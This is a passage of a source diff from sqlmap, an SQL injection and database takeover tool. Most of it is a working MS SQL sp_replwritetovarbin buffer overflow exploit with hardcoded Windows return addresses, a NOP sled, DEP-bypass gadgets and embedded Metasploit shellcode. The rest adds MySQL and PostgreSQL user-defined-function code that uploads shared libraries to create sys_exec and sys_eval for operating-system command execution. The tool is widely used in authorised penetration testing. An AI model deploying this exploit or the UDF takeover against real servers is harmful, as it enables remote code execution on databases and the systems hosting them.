"2003-1": ( "CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
|
||||
|
||||
# 2003 Service Pack 2 updated at 12/2008
|
||||
#"2003-2": ( "CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
|
||||
|
||||
# 2003 Service Pack 2 updated at 05/2009
|
||||
"2003-2": ( "CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)" )
|
||||
|
||||
# 2003 Service Pack 2 updated at 09/2009
|
||||
#"2003-2": ( "CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)" ),
|
||||
}
|
||||
addrs = None
|
||||
|
||||
for versionSp, data in returns.items():
|
||||
version, sp = versionSp.split("-")
|
||||
sp = int(sp)
|
||||
|
||||
if kb.osVersion == version and kb.osSP == sp:
|
||||
retAddr = address
|
||||
addrs = data
|
||||
|
||||
break
|
||||
|
||||
if retAddr == None:
|
||||
if addrs is None:
|
||||
errMsg = "sqlmap can not exploit the stored procedure buffer "
|
||||
errMsg += "overflow because it does not have a valid return "
|
||||
errMsg += "code for the underlying operating system (Windows "
|
||||
errMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
|
||||
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
shellcodeChar = ""
|
||||
hexStr = binascii.hexlify(self.shellcodeString[:-1])
|
||||
|
||||
for hexPair in range(0, len(hexStr), 2):
|
||||
shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
|
||||
|
||||
shellcodeChar = shellcodeChar[:-1]
|
||||
|
||||
self.spExploit = """
|
||||
DECLARE @buf NVARCHAR(4000),
|
||||
@val NVARCHAR(4),
|
||||
@counter INT
|
||||
SET @buf = '
|
||||
declare @retcode int,
|
||||
@end_offset int,
|
||||
@vb_buffer varbinary,
|
||||
@vb_bufferlen int
|
||||
exec master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
|
||||
DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
|
||||
EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
|
||||
SET @val = CHAR(0x41)
|
||||
SET @counter = 0
|
||||
WHILE @counter < 3320
|
||||
BEGIN
|
||||
SET @counter = @counter + 1
|
||||
IF @counter = 411
|
||||
BEGIN
|
||||
/* Return address */
|
||||
SET @buf = @buf + %s
|
||||
SET @counter = @counter + 1
|
||||
IF @counter = 411
|
||||
BEGIN
|
||||
/* pointer to call [ecx+8] */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* Nopsled */
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
/* push ebp, pop esp, ret 4 */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* Metasploit shellcode stage 1 */
|
||||
SET @buf = @buf + %s
|
||||
/* push ecx, pop esp, pop ebp, retn 8 */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* Unroll the stack and return */
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0xc3)
|
||||
/* Garbage */
|
||||
SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
|
||||
|
||||
SET @counter = @counter + 302
|
||||
SET @val = CHAR(0x43)
|
||||
CONTINUE
|
||||
END
|
||||
SET @buf = @buf + @val
|
||||
/* retn 1c */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* retn 1c */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* anti DEP */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* jmp esp */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* jmp esp */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
|
||||
set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
|
||||
set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
|
||||
set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
|
||||
|
||||
/* Metasploit shellcode */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
|
||||
SET @counter = @counter + 302
|
||||
SET @val = CHAR(0x43)
|
||||
CONTINUE
|
||||
END
|
||||
SET @buf = @buf + @val
|
||||
END
|
||||
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
|
||||
EXEC master..sp_executesql @buf
|
||||
""" % (retAddr, self.shellcodeChar)
|
||||
""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
|
||||
|
||||
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
|
||||
self.spExploit = urlencode(self.spExploit, convall=True)
|
||||
|
||||
+76
-102
@@ -28,13 +28,11 @@ import os
|
||||
import re
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import fileToStr
|
||||
from lib.core.common import formatDBMSfp
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -49,7 +47,6 @@ from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
from lib.techniques.inband.union.use import unionUse
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
@@ -64,8 +61,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.__basedir = None
|
||||
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
||||
self.__basedir = None
|
||||
self.__datadir = None
|
||||
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
||||
self.sysUdfs = {
|
||||
# UDF name: UDF return data-type
|
||||
"sys_exec": { "return": "int" },
|
||||
"sys_eval": { "return": "string" },
|
||||
"sys_bineval": { "return": "int" }
|
||||
}
|
||||
|
||||
Enumeration.__init__(self, "MySQL")
|
||||
Filesystem.__init__(self)
|
||||
@@ -148,15 +152,16 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
return None
|
||||
|
||||
# MySQL valid versions updated on 02/2009
|
||||
# MySQL valid versions updated on 05/2009
|
||||
versions = (
|
||||
(32200, 32233), # MySQL 3.22
|
||||
(32300, 32359), # MySQL 3.23
|
||||
(40000, 40031), # MySQL 4.0
|
||||
(40100, 40122), # MySQL 4.1
|
||||
(50000, 50077), # MySQL 5.0
|
||||
(50100, 50132), # MySQL 5.1
|
||||
(60000, 60009), # MySQL 6.0
|
||||
(50100, 50134), # MySQL 5.1
|
||||
(50400, 50401), # MySQL 5.4
|
||||
(60000, 60010), # MySQL 6.0
|
||||
)
|
||||
|
||||
for element in versions:
|
||||
@@ -208,7 +213,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
value += actVer
|
||||
return value
|
||||
|
||||
# TODO: comment injection fingerprint is broken, fix
|
||||
comVer = self.__commentCheck()
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
@@ -370,11 +374,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
logger.info(infoMsg)
|
||||
|
||||
if detailed == False:
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
return
|
||||
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
|
||||
@@ -485,119 +484,94 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
logger.debug(debugMsg)
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
|
||||
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile))
|
||||
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
|
||||
|
||||
if confirm == True:
|
||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||
|
||||
|
||||
def udfInit(self):
|
||||
def udfSetRemotePath(self):
|
||||
self.getVersionFromBanner()
|
||||
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
dFile = None
|
||||
wFile = paths.SQLMAP_UDF_PATH
|
||||
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
wFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
||||
libExt = "dll"
|
||||
else:
|
||||
wFile += "/mysql/linux/lib_mysqludf_sys.so"
|
||||
libExt = "so"
|
||||
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
||||
if banVer >= "5.1.19":
|
||||
if self.__basedir is None:
|
||||
logger.info("retrieving MySQL base directory absolute path")
|
||||
|
||||
for udf in ( "sys_exec", "sys_eval" ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
||||
self.__basedir = inject.getValue("SELECT @@basedir")
|
||||
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
|
||||
|
||||
logger.info("checking if %s UDF already exist" % udf)
|
||||
|
||||
query = agent.forgeCaseStatement("(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'" % (udf, udf))
|
||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||
|
||||
if exists == "1":
|
||||
message = "%s UDF already exists, do you " % udf
|
||||
message += "want to overwrite it? [y/N] "
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output in ("y", "Y"):
|
||||
self.udfToCreate.add(udf)
|
||||
else:
|
||||
self.udfToCreate.add(udf)
|
||||
|
||||
if len(self.udfToCreate) > 0:
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
||||
if banVer >= "5.1.19":
|
||||
if self.__basedir == None:
|
||||
logger.info("retrieving MySQL base directory absolute path")
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
||||
self.__basedir = inject.getValue("SELECT @@basedir")
|
||||
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
|
||||
|
||||
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
||||
dFile = "%s/lib/plugin/%s.%s" % (self.__basedir, lib, libExt)
|
||||
|
||||
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
||||
|
||||
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
||||
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||
else:
|
||||
#logger.debug("retrieving MySQL data directory absolute path")
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
||||
#datadir = inject.getValue("SELECT @@datadir")
|
||||
|
||||
# NOTE: specifying the relative path as './udf.dll'
|
||||
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
||||
datadir = "."
|
||||
datadir = os.path.normpath(datadir.replace("\\", "/"))
|
||||
|
||||
if re.search("[\w]\:\/", datadir, re.I):
|
||||
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
||||
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
||||
dFile = "%s/%s.%s" % (datadir, lib, libExt)
|
||||
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
||||
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
# On Linux
|
||||
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
||||
|
||||
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
||||
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||
else:
|
||||
# The SO can be in either /lib, /usr/lib or one of the
|
||||
# paths specified in /etc/ld.so.conf file, none of these
|
||||
# paths are writable by mysql user by default
|
||||
# TODO: test with plugins folder on MySQL >= 5.1.19
|
||||
dFile = "/usr/lib/%s.%s" % (lib, libExt)
|
||||
#logger.debug("retrieving MySQL data directory absolute path")
|
||||
|
||||
self.writeFile(wFile, dFile, "binary", False)
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
||||
#self.__datadir = inject.getValue("SELECT @@datadir")
|
||||
|
||||
for udf, retType in ( ( "sys_exec", "int" ), ( "sys_eval", "string" ) ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
# NOTE: specifying the relative path as './udf.dll'
|
||||
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
||||
self.__datadir = "."
|
||||
self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/"))
|
||||
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating %s UDF from the binary UDF file" % udf)
|
||||
if re.search("[\w]\:\/", self.__datadir, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, retType, lib, libExt))
|
||||
else:
|
||||
logger.debug("keeping existing %s UDF as requested" % udf)
|
||||
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
||||
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
||||
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
# On Linux
|
||||
else:
|
||||
# The SO can be in either /lib, /usr/lib or one of the
|
||||
# paths specified in /etc/ld.so.conf file, none of these
|
||||
# paths are writable by mysql user by default
|
||||
# TODO: test with plugins folder on MySQL >= 5.1.19
|
||||
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
|
||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||
|
||||
ret = inpRet["return"]
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
else:
|
||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||
|
||||
|
||||
def udfInjectCmd(self):
|
||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
if kb.os == "Windows":
|
||||
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
||||
self.udfSharedLibExt = "dll"
|
||||
else:
|
||||
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
|
||||
self.udfSharedLibExt = "so"
|
||||
|
||||
self.udfInjectCore(self.sysUdfs)
|
||||
self.envInitialized = True
|
||||
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, "longtext")
|
||||
|
||||
|
||||
def uncPathRequest(self):
|
||||
if kb.stackedTest == False:
|
||||
|
||||
@@ -34,6 +34,7 @@ from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
from lib.core.settings import ORACLE_SYSTEM_DBS
|
||||
|
||||
+61
-79
@@ -34,7 +34,6 @@ from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import getRange
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -48,7 +47,6 @@ from lib.core.settings import PGSQL_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
@@ -64,6 +62,21 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = PGSQL_SYSTEM_DBS
|
||||
self.sysUdfs = {
|
||||
# UDF name: UDF parameters' input data-type and return data-type
|
||||
"sys_exec": {
|
||||
"input": [ "text" ],
|
||||
"return": "int4"
|
||||
},
|
||||
"sys_eval": {
|
||||
"input": [ "text" ],
|
||||
"return": "text"
|
||||
},
|
||||
"sys_bineval": {
|
||||
"input": [ "text" ],
|
||||
"return": "int4"
|
||||
}
|
||||
}
|
||||
|
||||
Enumeration.__init__(self, "PostgreSQL")
|
||||
Filesystem.__init__(self)
|
||||
@@ -253,15 +266,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
infoMsg = "fingerprinting the back-end DBMS operating system"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "character(500)")
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
||||
|
||||
# Windows executables should always have ' Visual C++' or ' mingw'
|
||||
# patterns within the banner
|
||||
osWindows = ( " Visual C++", " mingw" )
|
||||
osWindows = ( " Visual C++", "mingw" )
|
||||
|
||||
for osPattern in osWindows:
|
||||
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
||||
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
||||
query += "LIKE '%" + osPattern + "%')>0"
|
||||
query = agent.forgeCaseStatement(query)
|
||||
|
||||
@@ -276,11 +289,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
logger.info(infoMsg)
|
||||
|
||||
if detailed == False:
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
return
|
||||
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
|
||||
@@ -302,8 +310,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
|
||||
|
||||
def stackedReadFile(self, rFile):
|
||||
# TODO: write a UDF to retrieve the hexadecimal encoded content of
|
||||
# the requested file
|
||||
warnMsg = "binary file read on PostgreSQL is not yet supported, "
|
||||
warnMsg += "if the requested file is binary, its content will not "
|
||||
warnMsg += "be retrieved"
|
||||
@@ -411,7 +417,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
|
||||
# NOTE: lo_export() exports up to only 8192 bytes of the file
|
||||
# (pg_largeobject 'data' field)
|
||||
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile))
|
||||
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
|
||||
|
||||
if confirm == True:
|
||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||
@@ -419,13 +425,46 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
||||
|
||||
|
||||
def udfInit(self):
|
||||
def udfSetRemotePath(self):
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# The DLL can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
# NOTE: by not specifing any path, it will save into the
|
||||
# data directory, on PostgreSQL 8.3 it is
|
||||
# C:\Program Files\PostgreSQL\8.3\data.
|
||||
self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
# On Linux
|
||||
else:
|
||||
# The SO can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
|
||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||
|
||||
inp = ", ".join(i for i in inpRet["input"])
|
||||
ret = inpRet["return"]
|
||||
|
||||
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
else:
|
||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||
|
||||
|
||||
def udfInjectCmd(self):
|
||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
self.getVersionFromBanner()
|
||||
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
dFile = None
|
||||
wFile = paths.SQLMAP_UDF_PATH
|
||||
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
if banVer >= "8.3":
|
||||
majorVer = "8.3"
|
||||
@@ -433,72 +472,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
majorVer = "8.2"
|
||||
|
||||
if kb.os == "Windows":
|
||||
wFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
|
||||
libExt = "dll"
|
||||
self.udfLocalFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
|
||||
self.udfSharedLibExt = "dll"
|
||||
else:
|
||||
wFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
|
||||
libExt = "so"
|
||||
|
||||
for udf in ( "sys_exec", "sys_eval" ):
|
||||
